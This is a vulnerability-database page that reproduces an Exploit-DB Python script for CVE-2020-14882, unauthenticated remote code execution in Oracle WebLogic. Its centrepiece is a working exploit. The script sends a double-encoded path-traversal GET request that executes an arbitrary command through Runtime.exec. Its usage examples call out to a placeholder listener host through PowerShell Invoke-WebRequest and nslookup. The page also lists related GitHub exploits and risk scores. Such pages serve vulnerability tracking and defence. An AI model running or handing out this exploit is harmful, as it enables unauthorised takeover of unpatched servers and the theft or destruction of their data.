Lucene search
K

WebLogic Server 10.3.6.0.0 / 12.1.3.0.0 / 12.2.1.3.0 / 12.2.1.4.0 / 14.1.1.0.0 - Unauthenticated RCE via GET request

🗓️ 29 Oct 2020 00:00:00Reported by Mohammed AlthibyaniType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 1770 Views

Oracle WebLogic Unauthenticated RCE via GET request using exploi

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for CVE-2020-14882
5 Nov 202013:12
githubexploit
GithubExploit
Exploit for CVE-2020-14882
28 Oct 202011:43
githubexploit
GithubExploit
Exploit for CVE-2020-14882
12 Nov 202006:59
githubexploit
GithubExploit
Exploit for CVE-2020-14882
9 Nov 202013:02
githubexploit
GithubExploit
Exploit for CVE-2020-14882
29 Oct 202006:30
githubexploit
GithubExploit
Exploit for CVE-2020-14882
29 Oct 202006:30
githubexploit
GithubExploit
Exploit for CVE-2020-14883
9 Nov 202015:26
githubexploit
GithubExploit
Exploit for CVE-2020-14882
1 Nov 202013:12
githubexploit
GithubExploit
Exploit for CVE-2020-14882
9 Nov 202008:03
githubexploit
GithubExploit
Exploit for CVE-2020-14750
6 Nov 202012:46
githubexploit
Rows per page
#!/usr/bin/python3

# Exploit Title: Oracle WebLogic Server 10.3.6.0.0 / 12.1.3.0.0 / 12.2.1.3.0 / 12.2.1.4.0 / 14.1.1.0.0  - Unauthenticated RCE via GET request
# Exploit Author: Nguyen Jang
# CVE: CVE-2020-14882
# Vendor Homepage: https://www.oracle.com/middleware/technologies/weblogic.html
# Software Link: https://www.oracle.com/technetwork/middleware/downloads/index.html

# More Info: https://testbnull.medium.com/weblogic-rce-by-only-one-get-request-cve-2020-14882-analysis-6e4b09981dbf

import requests
import sys

from urllib3.exceptions import InsecureRequestWarning

if len(sys.argv) != 3:
    print("[+] WebLogic Unauthenticated RCE via GET request")
    print("[+] Usage : python3 exploit.py http(s)://target:7001 command")
    print("[+] Example1 : python3 exploit.py http(s)://target:7001 \"nslookup your_Domain\"")
    print("[+] Example2 : python3 exploit.py http(s)://target:7001 \"powershell.exe -c Invoke-WebRequest -Uri http://your_listener\"")
    exit()

target = sys.argv[1]
command = sys.argv[2]

request = requests.session()
headers = {'Content-type': 'application/x-www-form-urlencoded; charset=utf-8'}

print("[+] Sending GET Request ....")

GET_Request = request.get(target + "/console/images/%252E%252E%252Fconsole.portal?_nfpb=false&_pageLable=&handle=com.tangosol.coherence.mvel2.sh.ShellSession(\"java.lang.Runtime.getRuntime().exec('" + command + "');\");", verify=False, headers=headers)

print("[+] Done !!")

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

29 Oct 2020 00:00Current
9.9High risk
Vulners AI Score9.9
CVSS 210
CVSS 3.19.8
EPSS0.94454
SSVC
1770